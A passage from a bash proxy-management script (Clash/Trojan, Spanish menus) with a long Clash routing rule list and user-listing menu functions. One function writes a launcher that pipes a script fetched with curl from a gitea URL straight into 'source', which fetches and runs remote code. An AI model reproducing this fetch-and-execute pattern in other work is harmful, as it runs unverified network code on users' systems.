DOMAIN-SUFFIX,iphone4hongkong.com,ChumoGH-ADM +- DOMAIN-SUFFIX,iphonetaiwan.org,ChumoGH-ADM +- DOMAIN-SUFFIX,iptvbin.com,ChumoGH-ADM +- DOMAIN-SUFFIX,linksalpha.com,ChumoGH-ADM +- DOMAIN-SUFFIX,manyvids.com,ChumoGH-ADM +- DOMAIN-SUFFIX,myactimes.com,ChumoGH-ADM +- DOMAIN-SUFFIX,newsblur.com,ChumoGH-ADM +- DOMAIN-SUFFIX,now.im,ChumoGH-ADM +- DOMAIN-SUFFIX,nowe.com,ChumoGH-ADM +- DOMAIN-SUFFIX,redditlist.com,ChumoGH-ADM +- DOMAIN-SUFFIX,s3.amazonaws.com,ChumoGH-ADM +- DOMAIN-SUFFIX,signal.org,ChumoGH-ADM +- DOMAIN-SUFFIX,smartmailcloud.com,ChumoGH-ADM +- DOMAIN-SUFFIX,sparknotes.com,ChumoGH-ADM +- DOMAIN-SUFFIX,streetvoice.com,ChumoGH-ADM +- DOMAIN-SUFFIX,supertop.co,ChumoGH-ADM +- DOMAIN-SUFFIX,tv.com,ChumoGH-ADM +- DOMAIN-SUFFIX,typepad.com,ChumoGH-ADM +- DOMAIN-SUFFIX,udnbkk.com,ChumoGH-ADM +- DOMAIN-SUFFIX,urbanairship.com,ChumoGH-ADM +- DOMAIN-SUFFIX,whispersystems.org,ChumoGH-ADM +- DOMAIN-SUFFIX,wikia.com,ChumoGH-ADM +- DOMAIN-SUFFIX,wn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,wolframalpha.com,ChumoGH-ADM +- DOMAIN-SUFFIX,x-art.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yimg.com,ChumoGH-ADM +- DOMAIN,api.steampowered.com,ChumoGH-ADM +- DOMAIN,store.steampowered.com,ChumoGH-ADM + +# China Area Network +# > 360 +- DOMAIN-SUFFIX,qhres.com,ChumoGH-ADM +- DOMAIN-SUFFIX,qhimg.com,ChumoGH-ADM +# > Akamai +- DOMAIN-SUFFIX,akadns.net,ChumoGH-ADM +# - DOMAIN-SUFFIX,akamai.net,ChumoGH-ADM +# - DOMAIN-SUFFIX,akamaiedge.net,ChumoGH-ADM +# - DOMAIN-SUFFIX,akamaihd.net,ChumoGH-ADM +# - DOMAIN-SUFFIX,akamaistream.net,ChumoGH-ADM +# - DOMAIN-SUFFIX,akamaized.net,ChumoGH-ADM +# > Alibaba +# USER-AGENT,%E4%BC%98%E9%85%B7*,ChumoGH-ADM +- DOMAIN-SUFFIX,alibaba.com,ChumoGH-ADM +- DOMAIN-SUFFIX,alicdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,alikunlun.com,ChumoGH-ADM +- DOMAIN-SUFFIX,alipay.com,ChumoGH-ADM +- DOMAIN-SUFFIX,amap.com,ChumoGH-ADM +- DOMAIN-SUFFIX,autonavi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dingtalk.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mxhichina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,soku.com,ChumoGH-ADM +- DOMAIN-SUFFIX,taobao.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tmall.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tmall.hk,ChumoGH-ADM +- DOMAIN-SUFFIX,ykimg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,youku.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xiami.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xiami.net,ChumoGH-ADM +# > Baidu +- DOMAIN-SUFFIX,baidu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,baidubcr.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bdstatic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yunjiasu-cdn.net,ChumoGH-ADM +# > bilibili +- DOMAIN-SUFFIX,acgvideo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,biliapi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,biliapi.net,ChumoGH-ADM +- DOMAIN-SUFFIX,bilibili.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bilibili.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,hdslb.com,ChumoGH-ADM +# > Blizzard +- DOMAIN-SUFFIX,blizzard.com,ChumoGH-ADM +- DOMAIN-SUFFIX,battle.net,ChumoGH-ADM +- DOMAIN,blzddist1-a.akamaihd.net,ChumoGH-ADM +# > ByteDance +- DOMAIN-SUFFIX,feiliao.com,ChumoGH-ADM +- DOMAIN-SUFFIX,pstatp.com,ChumoGH-ADM +- DOMAIN-SUFFIX,snssdk.com,ChumoGH-ADM +- DOMAIN-SUFFIX,iesdouyin.com,ChumoGH-ADM +- DOMAIN-SUFFIX,toutiao.com,ChumoGH-ADM +# > CCTV +- DOMAIN-SUFFIX,cctv.com,ChumoGH-ADM +- DOMAIN-SUFFIX,cctvpic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,livechina.com,ChumoGH-ADM +# > DiDi +- DOMAIN-SUFFIX,didialift.com,ChumoGH-ADM +- DOMAIN-SUFFIX,didiglobal.com,ChumoGH-ADM +- DOMAIN-SUFFIX,udache.com,ChumoGH-ADM +# > 蛋蛋赞 +- DOMAIN-SUFFIX,343480.com,ChumoGH-ADM +- DOMAIN-SUFFIX,baduziyuan.com,ChumoGH-ADM +- DOMAIN-SUFFIX,com-hs-hkdy.com,ChumoGH-ADM +- DOMAIN-SUFFIX,czybjz.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dandanzan.com,ChumoGH-ADM +- DOMAIN-SUFFIX,fjhps.com,ChumoGH-ADM +- DOMAIN-SUFFIX,kuyunbo.club,ChumoGH-ADM +# > ChinaNet +- DOMAIN-SUFFIX,21cn.com,ChumoGH-ADM +# > HunanTV +- DOMAIN-SUFFIX,hitv.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mgtv.com,ChumoGH-ADM +# > iQiyi +- DOMAIN-SUFFIX,iqiyi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,iqiyipic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,71.am.com,ChumoGH-ADM +# > JD +- DOMAIN-SUFFIX,jd.com,ChumoGH-ADM +- DOMAIN-SUFFIX,jd.hk,ChumoGH-ADM +- DOMAIN-SUFFIX,jdpay.com,ChumoGH-ADM +- DOMAIN-SUFFIX,360buyimg.com,ChumoGH-ADM +# > Kingsoft +- DOMAIN-SUFFIX,iciba.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ksosoft.com,ChumoGH-ADM +# > Meitu +- DOMAIN-SUFFIX,meitu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,meitudata.com,ChumoGH-ADM +- DOMAIN-SUFFIX,meitustat.com,ChumoGH-ADM +- DOMAIN-SUFFIX,meipai.com,ChumoGH-ADM +# > MI +- DOMAIN-SUFFIX,duokan.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mi-img.com,ChumoGH-ADM +- DOMAIN-SUFFIX,miui.com,ChumoGH-ADM +- DOMAIN-SUFFIX,miwifi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xiaomi.com,ChumoGH-ADM +# > Microsoft +- DOMAIN-SUFFIX,microsoft.com,ChumoGH-ADM +- DOMAIN-SUFFIX,msecnd.net,ChumoGH-ADM +- DOMAIN-SUFFIX,office365.com,ChumoGH-ADM +- DOMAIN-SUFFIX,outlook.com,ChumoGH-ADM +- DOMAIN-SUFFIX,s-microsoft.com,ChumoGH-ADM +- DOMAIN-SUFFIX,visualstudio.com,ChumoGH-ADM +- DOMAIN-SUFFIX,windows.com,ChumoGH-ADM +- DOMAIN-SUFFIX,windowsupdate.com,ChumoGH-ADM +- DOMAIN,officecdn-microsoft-com.akamaized.net,ChumoGH-ADM +# > NetEase +# USER-AGENT,NeteaseMusic*,ChumoGH-ADM +# USER-AGENT,%E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90*,ChumoGH-ADM +- DOMAIN-SUFFIX,163.com,ChumoGH-ADM +- DOMAIN-SUFFIX,126.net,ChumoGH-ADM +- DOMAIN-SUFFIX,127.net,ChumoGH-ADM +- DOMAIN-SUFFIX,163yun.com,ChumoGH-ADM +- DOMAIN-SUFFIX,lofter.com,ChumoGH-ADM +- DOMAIN-SUFFIX,netease.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ydstatic.com,ChumoGH-ADM +# > Sina +- DOMAIN-SUFFIX,sina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,weibo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,weibocdn.com,ChumoGH-ADM +# > Sohu +- DOMAIN-SUFFIX,sohu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,sohucs.com,ChumoGH-ADM +- DOMAIN-SUFFIX,sohu-inc.com,ChumoGH-ADM +- DOMAIN-SUFFIX,v-56.com,ChumoGH-ADM +# > Sogo +- DOMAIN-SUFFIX,sogo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,sogou.com,ChumoGH-ADM +- DOMAIN-SUFFIX,sogoucdn.com,ChumoGH-ADM +# > Steam +- DOMAIN-SUFFIX,steampowered.com,ChumoGH-ADM +- DOMAIN-SUFFIX,steam-chat.com,ChumoGH-ADM +- DOMAIN-SUFFIX,steamgames.com,ChumoGH-ADM +- DOMAIN-SUFFIX,steamusercontent.com,ChumoGH-ADM +- DOMAIN-SUFFIX,steamcontent.com,ChumoGH-ADM +- DOMAIN-SUFFIX,steamstatic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,steamcdn-a.akamaihd.net,ChumoGH-ADM +- DOMAIN-SUFFIX,steamstat.us,ChumoGH-ADM +# > Tencent +# USER-AGENT,MicroMessenger%20Client,ChumoGH-ADM +# USER-AGENT,WeChat*,ChumoGH-ADM +- DOMAIN-SUFFIX,gtimg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,idqqimg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,igamecj.com,ChumoGH-ADM +- DOMAIN-SUFFIX,myapp.com,ChumoGH-ADM +- DOMAIN-SUFFIX,myqcloud.com,ChumoGH-ADM +- DOMAIN-SUFFIX,qq.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tencent.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tencent-cloud.net,ChumoGH-ADM +# > YYeTs +# USER-AGENT,YYeTs*,ChumoGH-ADM +- DOMAIN-SUFFIX,jstucdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zimuzu.io,ChumoGH-ADM +- DOMAIN-SUFFIX,zimuzu.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,zmz2019.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zmzapi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zmzapi.net,ChumoGH-ADM +- DOMAIN-SUFFIX,zmzfile.com,ChumoGH-ADM +# > Content Delivery Network +- DOMAIN-SUFFIX,ccgslb.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ccgslb.net,ChumoGH-ADM +- DOMAIN-SUFFIX,chinanetcenter.com,ChumoGH-ADM +- DOMAIN-SUFFIX,meixincdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ourdvs.com,ChumoGH-ADM +- DOMAIN-SUFFIX,staticdn.net,ChumoGH-ADM +- DOMAIN-SUFFIX,wangsu.com,ChumoGH-ADM +# > IP Query +- DOMAIN-SUFFIX,ipip.net,ChumoGH-ADM +- DOMAIN-SUFFIX,ip.la,ChumoGH-ADM +- DOMAIN-SUFFIX,ip-cdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ipv6-test.com,ChumoGH-ADM +- DOMAIN-SUFFIX,test-ipv6.com,ChumoGH-ADM +- DOMAIN-SUFFIX,whatismyip.com,ChumoGH-ADM +# > Speed Test +# - DOMAIN-SUFFIX,speedtest.net,ChumoGH-ADM +- DOMAIN-SUFFIX,netspeedtestmaster.com,ChumoGH-ADM +- DOMAIN,speedtest.macpaw.com,ChumoGH-ADM +# > Private Tracker +- DOMAIN-SUFFIX,awesome-hd.me,ChumoGH-ADM +- DOMAIN-SUFFIX,broadcasthe.net,ChumoGH-ADM +- DOMAIN-SUFFIX,chdbits.co,ChumoGH-ADM +- DOMAIN-SUFFIX,classix-unlimited.co.uk,ChumoGH-ADM +- DOMAIN-SUFFIX,empornium.me,ChumoGH-ADM +- DOMAIN-SUFFIX,gazellegames.net,ChumoGH-ADM +- DOMAIN-SUFFIX,hdchina.org,ChumoGH-ADM +- DOMAIN-SUFFIX,hdsky.me,ChumoGH-ADM +- DOMAIN-SUFFIX,icetorrent.org,ChumoGH-ADM +- DOMAIN-SUFFIX,jpopsuki.eu,ChumoGH-ADM +- DOMAIN-SUFFIX,keepfrds.com,ChumoGH-ADM +- DOMAIN-SUFFIX,madsrevolution.net,ChumoGH-ADM +- DOMAIN-SUFFIX,m-team.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,nanyangpt.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ncore.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,open.cd,ChumoGH-ADM +- DOMAIN-SUFFIX,ourbits.club,ChumoGH-ADM +- DOMAIN-SUFFIX,passthepopcorn.me,ChumoGH-ADM +- DOMAIN-SUFFIX,privatehd.to,ChumoGH-ADM +- DOMAIN-SUFFIX,redacted.ch,ChumoGH-ADM +- DOMAIN-SUFFIX,springsunday.net,ChumoGH-ADM +- DOMAIN-SUFFIX,tjupt.org,ChumoGH-ADM +- DOMAIN-SUFFIX,totheglory.im,ChumoGH-ADM +# > Scholar +- DOMAIN-SUFFIX,acm.org,ChumoGH-ADM +- DOMAIN-SUFFIX,acs.org,ChumoGH-ADM +- DOMAIN-SUFFIX,aip.org,ChumoGH-ADM +- DOMAIN-SUFFIX,ams.org,ChumoGH-ADM +- DOMAIN-SUFFIX,annualreviews.org,ChumoGH-ADM +- DOMAIN-SUFFIX,aps.org,ChumoGH-ADM +- DOMAIN-SUFFIX,ascelibrary.org,ChumoGH-ADM +- DOMAIN-SUFFIX,asm.org,ChumoGH-ADM +- DOMAIN-SUFFIX,asme.org,ChumoGH-ADM +- DOMAIN-SUFFIX,astm.org,ChumoGH-ADM +- DOMAIN-SUFFIX,bmj.com,ChumoGH-ADM +- DOMAIN-SUFFIX,cambridge.org,ChumoGH-ADM +- DOMAIN-SUFFIX,cas.org,ChumoGH-ADM +- DOMAIN-SUFFIX,clarivate.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ebscohost.com,ChumoGH-ADM +- DOMAIN-SUFFIX,emerald.com,ChumoGH-ADM +- DOMAIN-SUFFIX,engineeringvillage.com,ChumoGH-ADM +- DOMAIN-SUFFIX,icevirtuallibrary.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ieee.org,ChumoGH-ADM +- DOMAIN-SUFFIX,imf.org,ChumoGH-ADM +- DOMAIN-SUFFIX,iop.org,ChumoGH-ADM +- DOMAIN-SUFFIX,jamanetwork.com,ChumoGH-ADM +- DOMAIN-SUFFIX,jhu.edu,ChumoGH-ADM +- DOMAIN-SUFFIX,jstor.org,ChumoGH-ADM +- DOMAIN-SUFFIX,karger.com,ChumoGH-ADM +- DOMAIN-SUFFIX,libguides.com,ChumoGH-ADM +- DOMAIN-SUFFIX,madsrevolution.net,ChumoGH-ADM +- DOMAIN-SUFFIX,mpg.de,ChumoGH-ADM +- DOMAIN-SUFFIX,myilibrary.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nature.com,ChumoGH-ADM +- DOMAIN-SUFFIX,oecd-ilibrary.org,ChumoGH-ADM +- DOMAIN-SUFFIX,osapublishing.org,ChumoGH-ADM +- DOMAIN-SUFFIX,oup.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ovid.com,ChumoGH-ADM +- DOMAIN-SUFFIX,oxfordartonline.com,ChumoGH-ADM +- DOMAIN-SUFFIX,oxfordbibliographies.com,ChumoGH-ADM +- DOMAIN-SUFFIX,oxfordmusiconline.com,ChumoGH-ADM +- DOMAIN-SUFFIX,pnas.org,ChumoGH-ADM +- DOMAIN-SUFFIX,proquest.com,ChumoGH-ADM +- DOMAIN-SUFFIX,rsc.org,ChumoGH-ADM +- DOMAIN-SUFFIX,sagepub.com,ChumoGH-ADM +- DOMAIN-SUFFIX,sciencedirect.com,ChumoGH-ADM +- DOMAIN-SUFFIX,sciencemag.org,ChumoGH-ADM +- DOMAIN-SUFFIX,scopus.com,ChumoGH-ADM +- DOMAIN-SUFFIX,siam.org,ChumoGH-ADM +- DOMAIN-SUFFIX,spiedigitallibrary.org,ChumoGH-ADM +- DOMAIN-SUFFIX,springer.com,ChumoGH-ADM +- DOMAIN-SUFFIX,springerlink.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tandfonline.com,ChumoGH-ADM +- DOMAIN-SUFFIX,un.org,ChumoGH-ADM +- DOMAIN-SUFFIX,uni-bielefeld.de,ChumoGH-ADM +- DOMAIN-SUFFIX,webofknowledge.com,ChumoGH-ADM +- DOMAIN-SUFFIX,westlaw.com,ChumoGH-ADM +- DOMAIN-SUFFIX,wiley.com,ChumoGH-ADM +- DOMAIN-SUFFIX,worldbank.org,ChumoGH-ADM +- DOMAIN-SUFFIX,worldscientific.com,ChumoGH-ADM +# > Plex Media Server +- DOMAIN-SUFFIX,plex.tv,ChumoGH-ADM +# > Other +- DOMAIN-SUFFIX,cn,ChumoGH-ADM +- DOMAIN-SUFFIX,360in.com,ChumoGH-ADM +- DOMAIN-SUFFIX,51ym.me,ChumoGH-ADM +- DOMAIN-SUFFIX,8686c.com,ChumoGH-ADM +- DOMAIN-SUFFIX,abchina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,accuweather.com,ChumoGH-ADM +- DOMAIN-SUFFIX,aicoinstorge.com,ChumoGH-ADM +- DOMAIN-SUFFIX,air-matters.com,ChumoGH-ADM +- DOMAIN-SUFFIX,air-matters.io,ChumoGH-ADM +- DOMAIN-SUFFIX,aixifan.com,ChumoGH-ADM +- DOMAIN-SUFFIX,amd.com,ChumoGH-ADM +- DOMAIN-SUFFIX,b612.net,ChumoGH-ADM +- DOMAIN-SUFFIX,bdatu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,beitaichufang.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bjango.com,ChumoGH-ADM +- DOMAIN-SUFFIX,booking.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bstatic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,cailianpress.com,ChumoGH-ADM +- DOMAIN-SUFFIX,camera360.com,ChumoGH-ADM +- DOMAIN-SUFFIX,chinaso.com,ChumoGH-ADM +- DOMAIN-SUFFIX,chua.pro,ChumoGH-ADM +- DOMAIN-SUFFIX,chuimg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,chunyu.mobi,ChumoGH-ADM +- DOMAIN-SUFFIX,chushou.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,cmbchina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,cmbimg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ctrip.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dfcfw.com,ChumoGH-ADM +- DOMAIN-SUFFIX,docschina.org,ChumoGH-ADM +- DOMAIN-SUFFIX,douban.com,ChumoGH-ADM +- DOMAIN-SUFFIX,doubanio.com,ChumoGH-ADM +- DOMAIN-SUFFIX,douyu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dxycdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dytt8.net,ChumoGH-ADM +- DOMAIN-SUFFIX,eastmoney.com,ChumoGH-ADM +- DOMAIN-SUFFIX,eudic.net,ChumoGH-ADM +- DOMAIN-SUFFIX,feng.com,ChumoGH-ADM +- DOMAIN-SUFFIX,fengkongcloud.com,ChumoGH-ADM +- DOMAIN-SUFFIX,frdic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,futu5.com,ChumoGH-ADM +- DOMAIN-SUFFIX,futunn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gandi.net,ChumoGH-ADM +- DOMAIN-SUFFIX,geilicdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,getpricetag.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gifshow.com,ChumoGH-ADM +- DOMAIN-SUFFIX,godic.net,ChumoGH-ADM +- DOMAIN-SUFFIX,hicloud.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hongxiu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hostbuf.com,ChumoGH-ADM +- DOMAIN-SUFFIX,huxiucdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,huya.com,ChumoGH-ADM +- DOMAIN-SUFFIX,infinitynewtab.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ithome.com,ChumoGH-ADM +- DOMAIN-SUFFIX,java.com,ChumoGH-ADM +- DOMAIN-SUFFIX,jidian.im,ChumoGH-ADM +- DOMAIN-SUFFIX,kaiyanapp.com,ChumoGH-ADM +- DOMAIN-SUFFIX,kaspersky-labs.com,ChumoGH-ADM +- DOMAIN-SUFFIX,keepcdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,kkmh.com,ChumoGH-ADM +- DOMAIN-SUFFIX,licdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,linkedin.com,ChumoGH-ADM +- DOMAIN-SUFFIX,loli.net,ChumoGH-ADM +- DOMAIN-SUFFIX,luojilab.com,ChumoGH-ADM +- DOMAIN-SUFFIX,maoyan.com,ChumoGH-ADM +- DOMAIN-SUFFIX,maoyun.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,meituan.com,ChumoGH-ADM +- DOMAIN-SUFFIX,meituan.net,ChumoGH-ADM +- DOMAIN-SUFFIX,mobike.com,ChumoGH-ADM +- DOMAIN-SUFFIX,moke.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mubu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,myzaker.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nim-lang-cn.org,ChumoGH-ADM +- DOMAIN-SUFFIX,nvidia.com,ChumoGH-ADM +- DOMAIN-SUFFIX,oracle.com,ChumoGH-ADM +- DOMAIN-SUFFIX,paypal.com,ChumoGH-ADM +- DOMAIN-SUFFIX,paypalobjects.com,ChumoGH-ADM +- DOMAIN-SUFFIX,qdaily.com,ChumoGH-ADM +- DOMAIN-SUFFIX,qidian.com,ChumoGH-ADM +- DOMAIN-SUFFIX,qyer.com,ChumoGH-ADM +- DOMAIN-SUFFIX,qyerstatic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,raychase.net,ChumoGH-ADM +- DOMAIN-SUFFIX,ronghub.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ruguoapp.com,ChumoGH-ADM +- DOMAIN-SUFFIX,s-reader.com,ChumoGH-ADM +- DOMAIN-SUFFIX,sankuai.com,ChumoGH-ADM +- DOMAIN-SUFFIX,scomper.me,ChumoGH-ADM +- DOMAIN-SUFFIX,seafile.com,ChumoGH-ADM +- DOMAIN-SUFFIX,sm.ms,ChumoGH-ADM +- DOMAIN-SUFFIX,smzdm.com,ChumoGH-ADM +- DOMAIN-SUFFIX,snapdrop.net,ChumoGH-ADM +- DOMAIN-SUFFIX,snwx.com,ChumoGH-ADM +- DOMAIN-SUFFIX,sspai.com,ChumoGH-ADM +- DOMAIN-SUFFIX,takungpao.com,ChumoGH-ADM +- DOMAIN-SUFFIX,teamviewer.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tianyancha.com,ChumoGH-ADM +- DOMAIN-SUFFIX,udacity.com,ChumoGH-ADM +- DOMAIN-SUFFIX,uning.com,ChumoGH-ADM +- DOMAIN-SUFFIX,vmware.com,ChumoGH-ADM +- DOMAIN-SUFFIX,weather.com,ChumoGH-ADM +- DOMAIN-SUFFIX,weico.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,weidian.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xiachufang.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ximalaya.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xinhuanet.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xmcdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yangkeduo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zhangzishi.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,zhihu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zhimg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zhuihd.com,ChumoGH-ADM +- DOMAIN,download.jetbrains.com,ChumoGH-ADM +- DOMAIN,images-cn.ssl-images-amazon.com,ChumoGH-ADM + +# > ChumoGH-ADM +- DOMAIN-SUFFIX,aaplimg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,apple.co,ChumoGH-ADM +- DOMAIN-SUFFIX,apple.com,ChumoGH-ADM +- DOMAIN-SUFFIX,apple-cloudkit.com,ChumoGH-ADM +- DOMAIN-SUFFIX,appstore.com,ChumoGH-ADM +- DOMAIN-SUFFIX,cdn-apple.com,ChumoGH-ADM +- DOMAIN-SUFFIX,crashlytics.com,ChumoGH-ADM +- DOMAIN-SUFFIX,icloud.com,ChumoGH-ADM +- DOMAIN-SUFFIX,icloud-content.com,ChumoGH-ADM +- DOMAIN-SUFFIX,me.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mzstatic.com,ChumoGH-ADM +- DOMAIN,www-cdn.icloud.com.akadns.net,ChumoGH-ADM +- DOMAIN,clash.razord.top,ChumoGH-ADM +- DOMAIN,v2ex.com,ChumoGH-ADM +- IP-CIDR,17.0.0.0/8,ChumoGH-ADM,no-resolve + +# Local Area Network +- IP-CIDR,192.168.0.0/16,ChumoGH-ADM +- IP-CIDR,10.0.0.0/8,ChumoGH-ADM +- IP-CIDR,172.16.0.0/12,ChumoGH-ADM +- IP-CIDR,127.0.0.0/8,ChumoGH-ADM +- IP-CIDR,100.64.0.0/10,ChumoGH-ADM + +# DNSPod Public DNS+ +- IP-CIDR,119.28.28.28/32,ChumoGH-ADM,no-resolve +# GeoIP China +- GEOIP,CN,ChumoGH-ADM + +- MATCH,ChumoGH-ADM + +proxies:' >> /root/.config/clash/config.yaml +[[ $mode = 2 ]] && echo -e ' +proxies:' >> /root/.config/clash/config.yaml +} + +conFIN() { +confRULE +[[ ! -z ${proTRO} ]] && echo -e "${proTRO}" >> /root/.config/clash/config.yaml +[[ ! -z ${proV2R} ]] && echo -e "${proV2R}" >> /root/.config/clash/config.yaml +[[ ! -z ${proXR} ]] && echo -e "${proXR}" >> /root/.config/clash/config.yaml + +#echo '' + +echo "#POWER BY @drowkid01" >> /root/.config/clash/config.yaml +} + +enon(){ + clear + msg -bar3 + blanco " Se ha agregado un autoejecutor en el Sector de Inicios Rapidos" + msg -bar3 + blanco " Para Acceder al menu Rapido \n Utilize * clash.sh * !!!" + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSi deseas desabilitar esta opcion, apagala" + echo -e " Y te recomiendo, no alterar nada en este menu, para" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo +} +enoff(){ +rm -f /bin/clash.sh + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSe ha Desabilitado el menu Rapido de clash.sh" + echo -e " Y te recomiendo, no alterar nada en este menu, para" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo +} + +enttrada () { +echo 'source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/ClashForAndroidGLOBAL.sh)' > /bin/clash.sh && chmod +x /bin/clash.sh +} + +blanco(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;37m$1\033[0m" + } || { + echo -ne " \033[1;37m$1:\033[0m " + } +} +title(){ + msg -bar3 + blanco "$1" + msg -bar3 +} +col(){ + nom=$(printf '%-55s' "\033[0;92m${1} \033[0;31m>> \033[1;37m${2}") + echo -e " $nom\033[0;31m${3} \033[0;92m${4}\033[0m" +} +col2(){ + echo -e " \033[1;91m$1\033[0m \033[1;37m$2\033[0m" +} +vacio(){ +blanco "\n no se puede ingresar campos vacios..." +} +cancelar(){ +echo -e "\n \033[3;49;31minstalacion cancelada...\033[0m" +} +continuar(){ +echo -e " \033[3;49;32mEnter para continuar...\033[0m" +} +userDat(){ + blanco " N° Usuarios fech exp dias" + msg -bar3 +} +view_usert(){ +configt="/usr/local/etc/trojan/config.json" +tempt="/etc/trojan/temp.json" +trojdirt="/etc/trojan" +user_conf="/etc/trojan/user" +backdirt="/etc/trojan/back" +tmpdirt="$backdir/tmp" + unset seg + seg=$(date +%s) + while : + do + nick="$(cat $configt | grep ',"')" + users="$(cat $configt | jq -r .password[])" + title " ESCOJE USUARIO TROJAN" + userDat + + n=1 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + + [[ $i = chumoghscript ]] && { + Usr="Admin" + DateExp=" Ilimitado" + } || { + Usr="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f1)" + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + } + col "$n)" "${Usr}" "$DateExp" "$exp" + let n++ + done + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "SELECCIONA USUARIO" 0 + read opcion + [[ -z $opcion ]] && vacio && sleep 0.3s && continue + [[ $opcion = 0 ]] && tropass="user_null" && break + n=1 + unset i + for i in $users + do + [[ $n = $opcion ]] && tropass=$i + let n++ + done + let opcion-- + addip=$(wget -qO- ifconfig.me) + 